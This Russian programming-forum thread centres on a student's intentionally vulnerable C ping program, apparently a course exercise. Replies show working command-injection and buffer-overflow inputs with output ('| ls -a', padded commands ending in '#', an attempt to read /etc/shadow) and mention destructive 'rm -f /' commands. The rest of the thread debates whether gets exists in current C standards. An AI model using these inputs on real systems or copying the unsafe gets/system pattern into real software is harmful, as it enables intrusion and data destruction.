Форум программистов, компьютерный форум, киберфорум
C (Си)
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
 
Рейтинг 4.77/13: Рейтинг темы: голосов - 13, средняя оценка - 4.77
0 / 0 / 0
Регистрация: 30.12.2021
Сообщений: 4

Программная уязвимость в С

19.06.2023, 17:25. Показов 3164. Ответов 24
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Приветствую, помогите с решением данной проблемы.
Есть код:
C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
 
int main() {
    /* выделяем буфер из 255 символов + \0 для хранения команды */
    char command[256] = {'p', 'i', 'n', 'g', ' ', '\0'};
    /* буфер для хранения хоста, который нужно пропинговать */
    char host[16];
 
    printf("please enter host for ping\n");
    /* получаем от пользователя имя хоста - нужно ввести в консоли, например, ya.ru и нажать Enter */
    gets(host);
 
    /* отладочный вывод - печатаем команду */
    printf("command: %s\n", command);
    /* отладочный вывод - печатаем хост */
    printf("host: %s\n", host);
 
    /* добавляем к команде хост, при этом \0 в команде заменяется на первый символ из host */
    strcat(command, host);
 
    /* отладочный вывод - печатаем полную команду */
    printf("full command: %s\n", command);
 
    /* выполняем команду */
    system(command);
 
    return 0;
}
Вот так выглядит его функциональность.

──(kali㉿kali)-[~/Desktop]
└─$ ./task1
please enter host for ping
ya.ru
command: ping
host: ya.ru
full command: ping ya.ru
PING ya.ru (5.255.255.242) 56(84) bytes of data.
64 bytes from ya.ru (5.255.255.242): icmp_seq=1 ttl=247 time=9.28 ms

Как сделать чтобы чтобы вместо ping выводило другую команду, не меняя код программы. При переполнении буфера выдает ошибку segmetation fault.
0
cpp_developer
Эксперт
20123 / 5690 / 1417
Регистрация: 09.04.2010
Сообщений: 22,546
Блог
19.06.2023, 17:25
Ответы с готовыми решениями:

Программная vs аппаратно-программная реализация функционала
Ребят, здравствуйте Немного запутался. В чем разница между программной и аппаратно-программной реализации функции в сетевом устройстве. ...

Уязвимость
на моём сайте стоит apache 2.4 у которого есть уязвимость Удаленное выполнение команд и как это исправить уже переходил на nginx но там...

Уязвимость в ИЕ
В веб-браузере Internet Explorer обнаружена уязвимость, позволяющая злоумышленникам устанавливать на компьютере жертвы вредоносное ПО. ...

24
фрилансер
 Аватар для Алексей1153
6466 / 5688 / 1131
Регистрация: 11.10.2019
Сообщений: 15,135
19.06.2023, 17:37
meth0d, calloc/malloc + gets должны помочь

Добавлено через 53 секунды
Цитата Сообщение от meth0d Посмотреть сообщение
char command[256] = {'p', 'i', 'n', 'g', ' ', '\0'};
вот так проще
char command[256] = "ping";
0
Windows must die
676 / 861 / 103
Регистрация: 23.11.2021
Сообщений: 5,111
Записей в блоге: 18
19.06.2023, 17:53
Цитата Сообщение от meth0d Посмотреть сообщение
чтобы вместо ping выводило другую команду,
Обрабатывай аргументы командной строки. Почему ты пишешь main(), если надо:
C
1
 int main(int argc, char **argv){
?
0
Модератор
Эксперт Java
 Аватар для alecss131
2881 / 1386 / 411
Регистрация: 11.08.2017
Сообщений: 4,423
Записей в блоге: 2
19.06.2023, 21:26
Цитата Сообщение от Eddy_Em Посмотреть сообщение
Почему ты пишешь main(), если надо
Можно и без параметров, только на Си будет корректно вот так main(void)
0
0 / 0 / 0
Регистрация: 30.12.2021
Сообщений: 4
19.06.2023, 21:40  [ТС]
Eddy_Em
Нужно запустить существующий код, и когда запросит адрес пинга, написать набор символов, чтобы буфер переполнился и выполнилась друга команда, которую допишешь в конце. Код изменять нельзя, нужно использовать уязвимость буфера.
0
Windows must die
676 / 861 / 103
Регистрация: 23.11.2021
Сообщений: 5,111
Записей в блоге: 18
19.06.2023, 22:40
Цитата Сообщение от meth0d Посмотреть сообщение
нужно использовать уязвимость буфера
Тьфу ты! Ну так это элементарно делается: read(1, command. 1024). Ну и прочими обертками над read.
0
0 / 0 / 0
Регистрация: 30.12.2021
Сообщений: 4
20.06.2023, 00:13  [ТС]
Eddy_Em
Код программы менять нельзя.
0
Windows must die
676 / 861 / 103
Регистрация: 23.11.2021
Сообщений: 5,111
Записей в блоге: 18
20.06.2023, 08:00
meth0d, тогда отладчиком убери нуль из содержимого буфера.
0
599 / 421 / 137
Регистрация: 02.10.2008
Сообщений: 1,798
Записей в блоге: 1
20.06.2023, 14:04
Маленькая подсказка - gets() небезопасна - она не контроллирует размер вводимых символов
Предупреждение от gcc:
Bash
1
предупреждение: the `gets' function is dangerous and should not be used.
Добавлено через 11 минут
Не знаю как там под винндой, но под linux и так всё работает (64 бита и прога и хост):
Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
faust@Rizen53600 ~/П/C/РАзная всячина> cat gets_bag.c 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
 
int main() {
    /* выделяем буфер из 255 символов + \0 для хранения команды */
    char command[256] = {'p', 'i', 'n', 'g', ' ', '\0'};
    /* буфер для хранения хоста, который нужно пропинговать */
    char host[16];
 
    printf("please enter host for ping\n");
    /* получаем от пользователя имя хоста - нужно ввести в консоли, например, ya.ru и нажать Enter */
    gets(host);
 
    /* отладочный вывод - печатаем команду */
    printf("command: %s\n", command);
    /* отладочный вывод - печатаем хост */
    printf("host: %s\n", host);
 
    /* добавляем к команде хост, при этом \0 в команде заменяется на первый символ из host */
    strcat(command, host);
 
    /* отладочный вывод - печатаем полную команду */
    printf("full command: %s\n", command);
 
    /* выполняем команду */
    system(command);
 
    return 0;
}⏎                                                                                                                                                                                            faust@Rizen53600 ~/П/C/РАзная всячина> gcc gets_bag.c
gets_bag.c: В функции «main»:
gets_bag.c:13:5: предупреждение: неявная декларация функции «gets»; имелось в виду «fgets»? [-Wimplicit-function-declaration]
   13 |     gets(host);
      |     ^~~~
      |     fgets
/usr/bin/ld: /tmp/ccflWLCg.o: в функции «main»:
gets_bag.c:(.text+0x176): предупреждение: the `gets' function is dangerous and should not be used.
faust@Rizen53600 ~/П/C/РАзная всячина> ./a.out
please enter host for ping
127.0.0.1
command: ping 
host: 127.0.0.1
full command: ping 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.034 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.060 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.042 ms
^C
--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2018ms
rtt min/avg/max/mdev = 0.034/0.045/0.060/0.010 ms
faust@Rizen53600 ~/П/C/РАзная всячина> ./a.out
please enter host for ping
| ls -a
command: ping 
host: | ls -a
full command: ping | ls -a
.   1    11111.c  111.c    111.s  123    1.c    22222.c  5    a.out  bug_libc2_28   dir      extip    gets_bag.c   geturl    geturl.cpp  in.txt  projecteuler
..  111  11112.c  111.cpp  12     123.c  1.cpp  333.c    5.c  asd.c  c_minuc_1.lox  empty.c  extip.c  getstring.c  geturl.c  gl          k1.c
ping: usage error: Требуется указать адрес назначения
faust@Rizen53600 ~/П/C/РАзная всячина>
Как результат - выполнили не только пустой ping, но и ls -a, а ведь вместо этого можно и rm -f ~/ написать, грохнув при этом весь пользовательский "хомяк", а если под рутом, то и корень сильно прорядить можно: rm -f /
1
Windows must die
676 / 861 / 103
Регистрация: 23.11.2021
Сообщений: 5,111
Записей в блоге: 18
20.06.2023, 14:33
Цитата Сообщение от drfaust Посмотреть сообщение
корень сильно прорядить можно
Только не забывать опцию --no-preserve-root.
drfaust, я, честно говоря, об этом совсем не подумал: ТС упорно хочет буфер переполнить…

Добавлено через 9 минут
Таки до меня дошло:
Code
1
2
3
4
5
6
./a.out 
please enter host for ping
                cat /proc/cpuinfo
command: cat /proc/cpuinfo
host:                 cat /proc/cpuinfo
full command: cat /proc/cpuinfo                cat /proc/cpuinfo                cat /proc/cpuinfo
Вводим 16 пробелов, а следом - нужную команду. В итоге эта команда "размножается" в буфере для system.
А если 16-м символом ввести комментарий, то будет уже осмысленней:
Code
1
2
3
4
5
6
7
./a.out 
please enter host for ping
               #cat /etc/shadow  
command: cat /etc/shadow
host:                #cat /etc/shadow
full command: cat /etc/shadow               #cat /etc/shadow
cat: /etc/shadow: Отказано в доступе
2
599 / 421 / 137
Регистрация: 02.10.2008
Сообщений: 1,798
Записей в блоге: 1
20.06.2023, 14:50
Eddy_Em, да. Так будет даже лучше:
Bash
1
2
3
4
5
6
7
8
9
aust@Rizen53600 ~/П/C/РАзная всячина> ./a.out
please enter host for ping
                ls -a #                                                                                                                                                                       
command: ls -a #                                                                                                                                                                              
host:                 ls -a #                                                                                                                                                                 
full command: ls -a #                ls -a #                                                                                                                                                  
.   1    11111.c  111.c    111.s  123    1.c    22222.c  5    a.out  bug_libc2_28   dir      extip    gets_bag.c   geturl    geturl.cpp  in.txt  projecteuler                                 
..  111  11112.c  111.cpp  12     123.c  1.cpp  333.c    5.c  asd.c  c_minuc_1.lox  empty.c  extip.c  getstring.c  geturl.c  gl          k1.c                                                 
faust@Rizen53600 ~/П/C/РАзная всячина>
1
Вездепух
Эксперт CЭксперт С++
 Аватар для TheCalligrapher
13183 / 6819 / 1821
Регистрация: 18.10.2014
Сообщений: 17,259
21.06.2023, 21:54
Цитата Сообщение от alecss131 Посмотреть сообщение
Можно и без параметров, только на Си будет корректно вот так main(void)
Во-первых, никакой разницы в формальной "корректности" здесь нет.

Во-вторых, если даже и рекомендовалось использовать int main(void), то начиная с С23 эта рекомендация больше не будет иметь силы: int main() становится полным эквивалентом int main(void).

Цитата Сообщение от meth0d Посмотреть сообщение
Как сделать чтобы чтобы вместо ping выводило другую команду, не меняя код программы. При переполнении буфера выдает ошибку segmetation fault.
Ну значит никак, не говоря уже о том, что функции gets в языке С не существует.
0
599 / 421 / 137
Регистрация: 02.10.2008
Сообщений: 1,798
Записей в блоге: 1
21.06.2023, 23:22
Цитата Сообщение от TheCalligrapher Посмотреть сообщение
что функции gets в языке С не существует.
Разве?
Включительно до С99 эта функция входит в стандартную библиотеку и включается через #include <stdio.h>

З.Ы. Не стоит забывать о том, что существуют компиляторы и архитектуры (например Z80) которые не могут следить за новыми веяниями моды (хоть и считаю исключение gets() из последних стандартов оправданным)
0
Windows must die
676 / 861 / 103
Регистрация: 23.11.2021
Сообщений: 5,111
Записей в блоге: 18
21.06.2023, 23:30
Цитата Сообщение от drfaust Посмотреть сообщение
Разве?
Да, если собирать gcc и использовать правильные флаги (-Werror), такой код не соберется. Даже в мане написано, что эту фунцию ни в коем случае нельзя использовать.
0
599 / 421 / 137
Регистрация: 02.10.2008
Сообщений: 1,798
Записей в блоге: 1
22.06.2023, 12:02
Цитата Сообщение от Eddy_Em Посмотреть сообщение
а, если собирать gcc и использовать правильные флаги (-Werror), такой код не соберется.
Само собой. И первый же мой коммент в этой теме указывал на небезопасность этой функции Программная уязвимость в С

Я отвечал TheCalligrapherу, на его фразу о том, что в Си не существует этой функции.
Цитата Сообщение от TheCalligrapher Посмотреть сообщение
Ну значит никак, не говоря уже о том, что функции gets в языке С не существует.
Хотя в старых стандартах она есть. Стала deprecated начиная с C99, если склероз не изменяет. В C89 была полностью легитимна.
7.19.7.7 The gets function
Synopsis
1 #include <stdio.h>
char *gets(char *s);
Description
2 The gets function reads characters from the input stream pointed to by stdin, into the
array pointed to by s, until end-of-file is encountered or a new-line character is read.
Any new-line character is discarded, and a null character is written immediately after the
last character read into the array.
Returns
3 The gets function returns s if successful. If end-of-file is encountered and no
characters have been read into the array, the contents of the array remain unchanged and a
null pointer is returned. If a read error occurs during the operation, the array contents are
indeterminate and a null pointer is returned.
Forward references: future library directions (7.26.9)
*****
*****
2 The gets function is obsolescent, and is deprecated.
0
19500 / 10105 / 2461
Регистрация: 30.01.2014
Сообщений: 17,818
24.06.2023, 04:53
drfaust, нужно правильно понимать фразу "не существует". Язык Си описывается спецификацией (стандартом ISO), актуальной спецификацией языка считается последняя ее версия. Если в актуальной спецификации чего-то не существует, значит и в языке этого не существует.

Ближайшая аналогия с юриспруденцией: например, если говорить без иронии и передергивания, нельзя будет сказать, что в России существует крепостное право. Хотя разумеется когда-то давно было множество законов, регулирующих крепостное право и когда-то оно было полностью легитимно.
0
599 / 421 / 137
Регистрация: 02.10.2008
Сообщений: 1,798
Записей в блоге: 1
24.06.2023, 11:26
DrOffset, софистика и демагогия это.

Если единственный компилятор под железяку поддерживает только C89, то значит стандарт существует. Стандарт - это техническая документация, а не "2й том мёртвых душ". Если стандарт выпущен, то будет существовать вечно, а вот следовать ему или нет - это уже дело разработчика.

И данная тема тому свидетельство - преподаватель использовал древний стандарт для обучения студентов в качестве задания - показать как можно использовать переполнение буфера.
0
19500 / 10105 / 2461
Регистрация: 30.01.2014
Сообщений: 17,818
24.06.2023, 12:42
drfaust, так, ну во-первых мне не понятна эта агрессивная манера мне возражать, какая софистика, какая демагогия? Я в этой теме только дал пояснения сказанного TheCalligrapher. Как раз, чтобы избежать софистики и демагогии очень полезно в дискуссии понимать о чем говорит собеседник. Я допускаю, что вы можете быть не согласным с данным моментом, но понять-то вы его можете?

Во-вторых, ну нет тут никакой софистики. Формализм некоторый есть, да. Очень простая же мысль: при выходе нового стандарта, язык Си (без всяких суффиксов и префиксов) описывает именно он - это актуальное состояние. Все остальные стандарты естественно никуда не деваются, они продолжают существовать и использоваться, но описывают они прошлые версии языка. Для удобства и понимания о какой именно прошлой версии идет речь, уже не обойтись без добавления конкретных суффиксов (C89, C99, и т.д.). Вы и сами это делаете в этой теме.
Таким образом, фразы "в языке C не существует функции gets" и "в языке С89 функция gets существует" - никак друг другу не противоречат.

PS. Аналогия с законами иллюстрировала только один конкретный аспект: принятие актуальной версии и использование формулировок, в которых состояние актуальной версии описывает предмет обсуждения в целом.
Кликните здесь для просмотра всего текста
Однако аналогия уже не работает в том моменте, что в отличие от условного УК прошлой версии, стандарты языков программирования продолжают действовать в тех реализациях, которые его уже используют. Поэтому аналогия была "ближайшей", а не "точной". Аналогии вообще никогда не бывают точными, надо бы пореже их использовать, особенно когда дискуссия предполагает превратиться в спор - лишний повод прицепиться к несостыковкам. Но это уже так, мысли в слух.
0
599 / 421 / 137
Регистрация: 02.10.2008
Сообщений: 1,798
Записей в блоге: 1
25.06.2023, 12:04
Цитата Сообщение от DrOffset Посмотреть сообщение
Таким образом, фразы "в языке C не существует функции gets" и "в языке С89 функция gets существует" - никак друг другу не противоречат.
Как раз нет. Если речь идёт о стандарт-специфичных вещах, то нужно указывать стандарт, в этом Ваша случае фраза будет выглядить так:
Таким образом, фразы "в языке C11 не существует функции gets" и "в языке С89 функция gets существует" - никак друг другу не противоречат.
0
19500 / 10105 / 2461
Регистрация: 30.01.2014
Сообщений: 17,818
25.06.2023, 16:13
drfaust, если мы сравниваем с текущей версией языка, то не обязательно. Последний стандарт всегда описывает язык С (или другой язык, который стандартизирует ISO) в его актуальном состоянии. Новый стандарт не вводит новый язык. Зато новый стандарт переводит старые реализации в разряд диалектов. Поэтому при сравнении с ними уже обязательно указывать номер.

Вся эта логика вытекает из формально принятого в ISO жизненного цикла спецификаций языка. По ней, новый стандарт именно заменяет предыдущий. Потому что у языка может быть только один действующий стандарт.
Зайдите сюда, и убедитесь в этом: https://www.iso.org/standard/74528.html

Понятно, что какие-то реализации могут остаться на уровне старых версий стандарта. Но это их дело, на формальную сторону вопроса это никак не влияет. Стандарт же явно предписывает изменять реализации, чтобы соответствовать текущему состоянию языка.
Цитата Сообщение от https://www.open-std.org/jtc1/sc22/wg14/www/docs/n2611.htm
On the other hand, no one implementation was held up as the exemplar by which to define C. It was assumed that all existing implementations must change somewhat to conform to the Standard.
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
raxper
Эксперт
30234 / 6612 / 1498
Регистрация: 28.12.2010
Сообщений: 21,154
Блог
25.06.2023, 16:13
Помогаю со студенческими работами здесь

Уязвимость
Всем добрый день. Не знаю как устранить уязвимость на сайте, поймал вирусы ./wp-admin/includes/u9awisnbgh.php +56 ...

Уязвимость кода
Подскажите, пожалуйста, в чем уязвимость данного блока кода и как решить 5 задач (стадий) одновременно при помощи уязвимости? Как я...

Критическая уязвимость в Wi-fi
Вопрос по уязвимости в протоколе WPA2. Решает ли проблему атаки/утечки установка заплатки на стороне клиента, то есть на Android, без...

Уязвимость сайта
Приветствую. Ребята помогите найти на моем сайте уязвимости. Просто не уверен в безопасности двига. Спасибо. В качестве...

Уязвимость в процедуре
Private Sub Кнопка42_Click() On Error GoTo Err_Кнопка42_Click DoCmd.OpenReport !!, acViewPreview, , &quot;=&quot; &amp; !! ...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
20
Ответ Создать тему
Новые блоги и статьи
AkelPad-скрипты, структуры, и немного лирики..
testuser2 05.04.2026
Такая программа, как AkelPad существует уже давно, и также давно существуют скрипты под нее. Тем не менее, прога живет, периодически что-то не спеша дополняется, улучшается. Что меня в первую очередь. . .
Отображение реквизитов в документе по условию и контроль их заполнения
Maks 04.04.2026
Алгоритм из решения ниже реализован на примере нетипового документа "ПланированиеСпецтехники", разработанного в конфигурации КА2. Данный документ берёт данные из другого нетипового документа. . .
Фото всей Земли с борта корабля Orion миссии Artemis II
kumehtar 04.04.2026
Это первое подобное фото сделанное человеком за 50 лет. Снимок называют новым вариантом легендарной фотографии «The Blue Marble» 1972 года, сделанной с борта корабля «Аполлон-17». Новое фото. . .
Вывод диалогового окна перед закрытием, если документ не проведён
Maks 04.04.2026
Алгоритм из решения ниже реализован на примере нетипового документа "СписаниеМатериалов", разработанного в конфигурации КА2. Задача: реализовать программный контроль на предмет проведения документа. . .
Программный контроль заполнения реквизитов табличной части документа
Maks 02.04.2026
Алгоритм из решения ниже реализован на примере нетипового документа "СписаниеМатериалов", разработанного в конфигурации КА2. Задача: 1. Реализовать контроль заполнения реквизита. . .
wmic не является внутренней или внешней командой
Maks 02.04.2026
Решение: DISM / Online / Add-Capability / CapabilityName:WMIC~~~~ Отсюда: https:/ / winitpro. ru/ index. php/ 2025/ 02/ 14/ komanda-wmic-ne-naydena/
Программная установка даты и запрет ее изменения
Maks 02.04.2026
Алгоритм из решения ниже реализован на примере нетипового документа "СписаниеМатериалов", разработанного в конфигурации КА2. Задача: при создании документов установить период списания автоматически. . .
Вывод данных в справочнике через динамический список
Maks 01.04.2026
Реализация из решения ниже выполнена на примере нетипового справочника "Спецтехника" разработанного в конфигурации КА2. Задача: вывести данные из ТЧ нетипового документа. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru